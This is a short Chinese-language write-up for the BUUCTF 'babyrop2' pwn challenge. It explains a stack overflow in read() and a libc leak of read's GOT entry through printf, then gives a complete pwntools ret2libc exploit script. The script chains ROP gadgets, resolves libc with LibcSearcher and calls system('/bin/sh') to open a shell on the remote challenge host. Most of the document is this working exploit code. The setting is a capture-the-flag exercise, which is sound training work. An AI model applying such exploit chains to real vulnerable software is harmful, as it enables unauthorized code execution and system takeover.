首先检查一下文件的保护措施
在用ida打开看一下
这里很明显read在进行读取数据时有栈溢出
然后看一下文件没有后门函数,也没有binsh,那就是libc泄露了
这里可以调用printf进行泄露,但注意这里不能直接打印printf的got表,因为printf需要对格式化字符串进行解析,所以依赖其自身
但是在这里可以泄露read在got表中的值
点击查看代码
from pwn import *
from LibcSearcher.LibcSearcher import LibcSearcher
io=remote("node5.buuoj.cn",26789)
elf=ELF("./babyrop2")
printf_plt=elf.plt["printf"]
read_got=elf.got["read"]
main=elf.symbols["main"]
pop_rdi_ret=0x400733
pop_rsi_r15_ret=0x400731
ret=0x4004d1
format_str=0x400770
io.recvuntil(b"name? ")
payload1=b'A'*(0x20+8)+p64(pop_rdi_ret)+p64(format_str)+p64(pop_rsi_r15_ret)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main)
io.sendline(payload1)
io.recvuntil(b"\n")
io.recvuntil(b", ")
read_addr=u64(io.recv(6).ljust(8,b"\x00"))
libc=LibcSearcher("read",read_addr)
offset=read_addr-libc.dump("read")
system=offset+libc.dump("system")
binsh=offset+libc.dump("str_bin_sh")
io.recvuntil(b"name? ")
payload2=b"A"*(0x20+8)+p64(pop_rdi_ret)+p64(binsh)+p64(system)
io.sendline(payload2)
io.interactive()